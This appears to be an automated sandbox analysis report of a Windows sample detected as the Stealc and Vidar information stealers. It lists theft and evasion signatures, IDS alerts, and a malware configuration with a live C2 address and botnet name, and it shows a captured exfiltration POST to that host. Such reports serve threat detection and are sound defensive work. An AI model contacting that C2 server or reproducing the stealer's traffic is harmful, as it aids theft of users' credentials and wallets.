Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1500045
MD5:	fc980ed1da175090e176c4c4b9b1fd01
SHA1:	f8948fb28afc749d90014a013c13b7d639ee211d
SHA256:	3543cfe1a5a4a95e34c214cfaf0a1846373950ed16f5b8f255a351b52753470d
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5580 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FC980ED1DA175090E176C4C4B9B1FD01)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 760 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://147.45.47.253/072aacac8f68fd5f.php", "Botnet": "LogsDillerCloud"}

Threatname: Vidar

{"C2 url": "http://147.45.47.253/072aacac8f68fd5f.php", "Botnet": "LogsDillerCloud"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 760	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 760	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 760	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 760	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:05.291525+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:11:58.587619+0200
SID:	2044244
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:00.566784+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting Screenshot to C2 - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:08.735631+0200
SID:	2044249
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:11:58.396747+0200
SID:	2044243
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:11:58.778347+0200
SID:	2044246
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 147.45.47.253 - Destination IP: 192.168.2.6

Timestamp:	2024-08-27T20:11:58.594178+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.47.253 - Destination IP: 192.168.2.6

Timestamp:	2024-08-27T20:11:58.785501+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:04.710022+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:05.799472+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:03.688201+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:07.381699+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:07.694092+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.6 - Destination IP: 147.45.47.253

Timestamp:	2024-08-27T20:12:00.371953+0200
SID:	2044248
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /072aacac8f68fd5f.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIIDHost: 147.45.47.253Content-Length: 221Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 45 31 38 46 39 39 32 31 34 32 31 35 36 31 32 32 34 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 43 6c 6f 75 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="hwid"12E18F992142156122474------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="build"LogsDillerCloud------KFBGCAKFHCFHJKECFIID--

Source: RegAsm.exe, 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/0
Source: RegAsm.exe, 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2243570891.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.php
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.php319
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.php9
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpBrowser
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpData
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpEBGHIEBFIJKECBKFHD
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpM
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpY
Source: RegAsm.exe, 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpition:
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpllp
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/072aacac8f68fd5f.phpt
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2243570891.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/freebl3.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/mozglue.dllo
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/msvcp140.dllc
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/nss3.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/softokn3.dll5
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/softokn3.dll;
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/softokn3.dllQ
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/softokn3.dllU
Source: RegAsm.exe, 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/sqlite3.dll
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253/58b7620e0f34e81d/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253IDHII
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.253X
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.2264361941.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2253161010.000000001B26B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CFHIIJDB.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: CFHIIJDB.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: CFHIIJDB.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CFHIIJDB.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CFHIIJDB.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://support.mozilla.org
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000002.00000002.2243570891.000000000101D000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CFHIIJDB.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://www.mozilla.org
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://www.mozilla.org#
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KECGDBFCBKFIDHIDHDHIECGDHC.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000002.00000002.2258380782.00000000272D1000.00000004.00000020.00020000.00000000.sdmp, EHJDGHJDBFIJKECAECAF.2.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418AB0 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00418AB0

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 192000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C8CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C8CB700
